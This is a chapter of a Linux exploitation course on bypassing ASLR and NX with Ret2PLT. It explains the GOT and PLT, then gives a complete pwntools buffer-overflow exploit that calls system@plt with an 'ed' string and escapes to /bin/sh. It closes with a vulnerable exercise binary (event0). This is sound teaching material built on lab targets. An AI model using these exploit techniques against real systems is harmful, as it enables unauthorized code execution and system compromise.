8. Bypassing ASLR/NX with Ret2PLT

Bypassing ASLR/NX with Ret2PLT

Before beginning this section, please ensure you have re-enabled ASLR. You can do this by running the following command.

ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/scripts$ echo 2 |
sudo tee /proc/sys/kernel/randomize_va_space
2

Finally, we have two protections enabled: ASLR and NX. To start off, this will be our first target for the section:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

void show_time() {
    system("date");
    system("cal");
}

void vuln() {
    char buffer[64];
    read(0, buffer, 92);
    printf("Your name is %s\n", buffer);
}

int main() {
    puts("Welcome to the Matrix.");
    puts("The sheep are blue, but you see red");
    vuln();
    puts("Time is very important to us.");
    show_time();
}

Running the binary:

amon@bethany:~/sproink/linux-exploitation-course/lessons/9_bypass_ret2plt$ ./build/1_clock
Welcome to the Matrix.
The sheep are blue, but you see red
AAAA
Your name is AAAA

Time is very important to us.
Fri Jan 13 22:33:13 SGT 2017
    January 2017
Su Mo Tu We Th Fr Sa
 1  2  3  4  5  6  7
 8  9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

Now that ASLR has been enabled, we have a problem. We no longer can be sure where the libc will be mapped at. However, that begs the question: how does the binary know where the address of anything is now that they are randomised? The answer lies in something called the Global Offset Table and the Procedure Linkage Table.

Global Offset Table

To handle functions from dynamically loaded objects, the compiler assigns a space to store a list of pointers in the binary. Each slot of the pointers to be filled in is called a 'relocation' entry. This region of memory is marked readable to allow for the values for the entries to change during runtime.

We can take a look at the '.got' segment of the clock binary with readelf.

ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ readelf --relocs 1_clock

Relocation section '.rel.dyn' at offset 0x2dc contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000506 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2e4 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

Let's take the read entry in the GOT as an example. If we hop onto gdb, and open the binary in the debugger without running it, we can examine what is in the GOT initially.

gdb-peda$ x/xw 0x0804a00c
0x804a00c:  0x08048346

It actually turns out that that value is an address within the Procedure Linkage Table. This actually is part of the mechanic to perform lazy binding. Lazy binding allows the binary to only resolve its dynamic addresses when it needs o.

If we run it and break just before the program ends, we can see that the value in the GOT is completely different and now points somewhere in libc.

gdb-peda$ x/xw 0x0804a00c
0x804a00c:	0x08048346
... snip ...
gdb-peda$ x/xw 0x0804a00c
0x804a00c:	0xf7eea980
gdb-peda$

Procedure Linkage Table

When you use a libc function in your code, the compiler does not directly call that function but calls a PLT stub instead. Let's take a look at the disassembly of the read function in PLT.

gdb-peda$ disas read
Dump of assembler code for function read@plt:
   0x08048340 <+0>:	jmp    DWORD PTR ds:0x804a00c
   0x08048346 <+6>:	push   0x0
   0x0804834b <+11>:	jmp    0x8048330
End of assembler dump.
gdb-peda$

Here's what's going on here when the function is run for the first time:

  1. The read@plt function is called.

  2. Execution reaches jmp DWORD PTR ds:0x804a00c and the memory address 0x804a00c is dereferenced and is jumped to. If that value looks familiar, it is. It was the address of the GOT entry of read.

  3. Since the GOT contained the value 0x08048346 initially, execution jumps to the next instruction of the read@plt function because that's where it points to.

  4. The dynamic loader is called which overwrites the GOT with the resolved address.

  5. Execution continues at the resolved address.

The details of this will be important for the next section but for now, the crucial characteristic of the PLT stub is that it is part of the binary and will be mapped at a static address. Thus, we can use the stub as a target when constructing our exploit.

Writing the Exploit

As per usual, here is the skeleton code to obtain EIP control of the binary.

#!/usr/bin/python

from pwn import *

def main():
    # Start the process
    p = process("../build/1_clock")

    # Print the pid
    raw_input(str(p.proc.pid))

    # Craft the payload
    payload = "A"*76 + p32(0xdeadc0de)
    payload = payload.ljust(96, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()

Let's look at the available PLT stubs to choose from.

ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ objdump -d ./1_clock -j .plt

./1_clock:     file format elf32-i386


Disassembly of section .plt:

08048330 <read@plt-0x10>:
 8048330:	ff 35 04 a0 04 08    	pushl  0x804a004
 8048336:	ff 25 08 a0 04 08    	jmp    *0x804a008
 804833c:	00 00                	add    %al,(%eax)
	...

08048340 <read@plt>:
 8048340:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 8048346:	68 00 00 00 00       	push   $0x0
 804834b:	e9 e0 ff ff ff       	jmp    8048330 <_init+0x24>

08048350 <printf@plt>:
 8048350:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048356:	68 08 00 00 00       	push   $0x8
 804835b:	e9 d0 ff ff ff       	jmp    8048330 <_init+0x24>

08048360 <puts@plt>:
 8048360:	ff 25 14 a0 04 08    	jmp    *0x804a014
 8048366:	68 10 00 00 00       	push   $0x10
 804836b:	e9 c0 ff ff ff       	jmp    8048330 <_init+0x24>

08048370 <system@plt>:
 8048370:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048376:	68 18 00 00 00       	push   $0x18
 804837b:	e9 b0 ff ff ff       	jmp    8048330 <_init+0x24>

08048380 <__libc_start_main@plt>:
 8048380:	ff 25 1c a0 04 08    	jmp    *0x804a01c
 8048386:	68 20 00 00 00       	push   $0x20
 804838b:	e9 a0 ff ff ff       	jmp    8048330 <_init+0x24>

We are in luck, because system@plt is a powerful function we can definitely use. That's one out of two things we need. The second thing is a command we can execute. Normally, we would use "/bin/sh" but it does not seem we would find that here.

Take a moment to figure out a target before taking a look at the answers.

It turns out that ed is a valid Linux command. It actually spawns a minimalistic editor. It also turns out that there is an "ed" string available in the binary. Can you spot it?

ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ strings -a 1_clock
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
puts
printf
read
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
date
Your name is %s
Welcome to the Matrix.
The sheep are blue, but you see red
Time is very important to us.

If we take the last two characters of the string "The sheep are blue, but you see red" or "_IO_stdin_used", we can get that "ed" we are looking for.

gdb-peda$ find "The sheep are blue, but you see red"
Searching for 'The sheep are blue, but you see red' in: None ranges
Found 3 results, display max 3 items:
1_clock : 0x8048604 ("The sheep are blue, but you see red")
1_clock : 0x8049604 ("The sheep are blue, but you see red")
 [heap] : 0x804b008 ("The sheep are blue, but you see red\n")
gdb-peda$

Putting our parts together, we can come up with this final exploit.

#!/usr/bin/python

from pwn import *

system_plt = 0x08048370
ed_str = 0x8048625

def main():
    # Start the process
    p = process("../build/1_clock")

    # Craft the payload
    payload = "A"*76
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(ed_str)
    payload = payload.ljust(96, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()

But, now you might ask, if all we are going to spawn is a line based text editor, then how are we going to get our shell? As it so happens, the ed program can actually run commands!

ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/scripts$ python 2_final.py
[+] Starting local process '../build/1_clock': Done
[*] Switching to interactive mode
Welcome to the Matrix.
The sheep are blue, but you see red
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x0ᆳ�%\x86\x0
$ ls -la
?
$ !/bin/sh
$ ls -la
total 2100
drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 .
drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 ..
-rw-rw-r-- 1 ubuntu ubuntu     405 Jan 12 21:54 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu     468 Jan 12 21:57 2_final.py
-rw-rw-r-- 1 ubuntu ubuntu     408 Jan 12 22:41 3_event0_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu     483 Jan 12 22:52 4_event0_local.py
-rw-rw-r-- 1 ubuntu ubuntu     518 Jan 12 22:52 5_event0_remote.py
-rw------- 1 ubuntu ubuntu 2121728 Jan 13 15:56 core
$
[*] Stopped program '../build/1_clock'

Exercises

Please do these exercises without looking at the solution.

Ex 9.1: Event 0

Let's start doing some difficult exercises. Here is event0. Try to solve this problem using the Ret2PLT technique.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int active = 1;
char name[200];
char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";

void print_warning() {
    puts("=======================================================================================");
    puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy.");
    puts("Please treat this terminal with the utmost care.");
    puts("Crashing this program will result in ship malfunction.");
    puts("You have been warned.");
    puts("=======================================================================================\n");
}

void print_prompt() {
    printf("Options for ");
    puts(name);
    puts("1. Peek Memory Address");
    puts("2. Change Name");
    puts("3. Overwite Memory Address");
    puts("9. Exit Terminal");
}

void peek_prompt() {
    int * address;
    printf("Address: ");
    scanf("%p", &address);
    printf("Contents: 0x%x\n", *address);
}

void change_name() {
    char buffer[100];
    printf("Name: ");
    read(0, buffer, sizeof(name));
    buffer[strcspn(buffer, "\n")] = 0;
    strncpy(name, buffer, sizeof(name));
}

void poke_prompt() {
    int * address;
    int data;
    printf("Address: ");
    scanf("%p", &address);
    printf("Data: ");
    scanf("%x", &data);
    *address = data;
}

void print_secret() {
    if (getpid() == 0) {
        puts("secret");
    }
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    int option;
    print_warning();
    change_name();
    while (active) {
        print_prompt();
        printf("Option: ");
        scanf("%d", &option);
        if (option == 9) {
            active = 0;
            puts("Goodbye.");
        }
        else if (option == 1) {
            peek_prompt();
        }
        else if (option == 2) {
            change_name();
        }
        else if (option == 3) {
            poke_prompt();
        }
        else if (option == 4) {
            print_secret();
        }
    }
}

The binary can be found here. And the remote target is at nc localhost 1901.

If you get stuck, you can look at the following solution scripts in order of completeness.

  1. Skeleton

  2. Local POC

  3. Remote POC

Last updated